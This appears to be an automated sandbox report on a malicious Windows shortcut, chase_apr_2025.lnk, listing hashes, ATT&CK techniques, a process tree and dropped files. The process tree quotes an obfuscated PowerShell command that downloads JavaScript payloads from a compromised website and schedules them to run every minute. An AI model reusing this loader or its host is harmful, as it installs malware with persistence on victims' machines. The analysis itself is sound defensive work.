09ef17dc4284a8d1a8b937354bd8137aa9c0d98bffb897bd891ccff854484e43

Resubmissions

18/04/2025, 17:49

250418-wd4tystls6 8

09/04/2025, 06:42

250409-hgf1eastav 10

Analysis

max time kernel
41s
max time network
40s
platform
windows10-2004_x64
resource
win10v2004-20250410-en
resource tags

arch:x64arch:x86image:win10v2004-20250410-enlocale:en-usos:windows10-2004-x64system
submitted
18/04/2025, 17:49

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General

Target

chase_apr_2025.lnk
Size

1KB
MD5

36a9f6a6fe333f902077a73d990f0a4e
SHA1

906818153a8ff4bf10cfb8615ff6b9021140623c
SHA256

09ef17dc4284a8d1a8b937354bd8137aa9c0d98bffb897bd891ccff854484e43
SHA512

cfc907e28c5069edc9e837b53f13377fbc015e1baba7401d1f3adb0bbdefa1dc95b830da58ef3b84e07ef8e8558d0b9b593e3d5c4c0d258cb50f0c8c73d5f5c7

Score

8^/10

execution

Malware Config

Signatures

Blocklisted process makes network request 2 IoCs

flow	pid	Process
8	4204	powershell.exe
14	4204	powershell.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-2645532622-3298555945-705856666-1000\Control Panel\International\Geo\Nation	cmd.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
4204	powershell.exe

Command and Scripting Interpreter: JavaScript 1 TTPs
execution

JavaScript
T1059.007
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

T1053.005

pid	Process
4704	schtasks.exe

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
4204	powershell.exe
4204	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	4204	powershell.exe

Suspicious use of WriteProcessMemory 6 IoCs

description	pid	Process	procid_target
PID 112 wrote to memory of 4204	112	cmd.exe	87
PID 112 wrote to memory of 4204	112	cmd.exe	87
PID 4204 wrote to memory of 4776	4204	powershell.exe	94
PID 4204 wrote to memory of 4776	4204	powershell.exe	94
PID 4204 wrote to memory of 4704	4204	powershell.exe	97
PID 4204 wrote to memory of 4704	4204	powershell.exe	97

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Windows\system32\cmd.exe
cmd /c C:\Users\Admin\AppData\Local\Temp\chase_apr_2025.lnk
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:112
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $affl = $env:programdata + '\' + ('2qr3mg7cssz4nr.js yxliyx19s'); $getf='D'+'ow'+'nl'+'oadF'+'ile'; $t670luhhb7i6w = New-Object Net.WebClient; $wscs = 'wscript '; $t670luhhb7i6w.$getf('https://rietiholidays.it/wp-content/uploads/2021/06/unprojectingsJX.php', '2qr3mg7cssz4nr.js'); . ('cu'+'rl.e'+'xe') -s -o zqd1lm17ezgl 'https://rietiholidays.it/wp-content/uploads/2021/06/covalencesxjiY.php'; mv zqd1lm17ezgl 'yxliyx19s.js'; . ('sc'+'hta'+'s'+'ks') /create /sc minute /mo 1 /f /tr ($wscs + $affl) /tn yxliyx19s;
  2⤵
  - Blocklisted process makes network request
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:4204
- - C:\Windows\system32\curl.exe
    "C:\Windows\system32\curl.exe" -s -o zqd1lm17ezgl https://rietiholidays.it/wp-content/uploads/2021/06/covalencesxjiY.php
    3⤵
    PID:4776
- - C:\Windows\system32\schtasks.exe
    "C:\Windows\system32\schtasks.exe" /create /sc minute /mo 1 /f /tr "wscript C:\ProgramData\2qr3mg7cssz4nr.js yxliyx19s" /tn yxliyx19s
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:4704

C:\Windows\system32\wscript.EXE
C:\Windows\system32\wscript.EXE C:\ProgramData\2qr3mg7cssz4nr.js yxliyx19s
1⤵
PID:1348

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

JavaScript

T1059.007

PowerShell

T1059.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Persistence

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Privilege Escalation

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\ProgramData\zqd1lm17ezgl

Filesize
161B

MD5
6f2c98b320a97239e18b95658d60ac75

SHA1
19b01f664642846c84e02cf0c07a61d4bf8785cd

SHA256
7729e82cf6e68f42e11257e678e08e28e3dd3597033bed67f206e04623c8d166

SHA512
c65cedea9760d2dc9fc150ba1a3303f212295984fbaebe718a81acf498090893a07201f5cc6e05af27597d2e826d482fce2ff546285e25a90780ad1675daa500

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_pk4kxzrp.xao.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/4204-2-0x00007FFB4BFC3000-0x00007FFB4BFC5000-memory.dmp

Filesize
8KB

Download
memory/4204-12-0x000002257AC20000-0x000002257AC42000-memory.dmp

Filesize
136KB

Download
memory/4204-13-0x00007FFB4BFC0000-0x00007FFB4CA81000-memory.dmp

Filesize
10.8MB

Download
memory/4204-14-0x00007FFB4BFC0000-0x00007FFB4CA81000-memory.dmp

Filesize
10.8MB

Download
memory/4204-15-0x00007FFB4BFC0000-0x00007FFB4CA81000-memory.dmp

Filesize
10.8MB

Download
memory/4204-20-0x00007FFB4BFC0000-0x00007FFB4CA81000-memory.dmp

Filesize
10.8MB

Download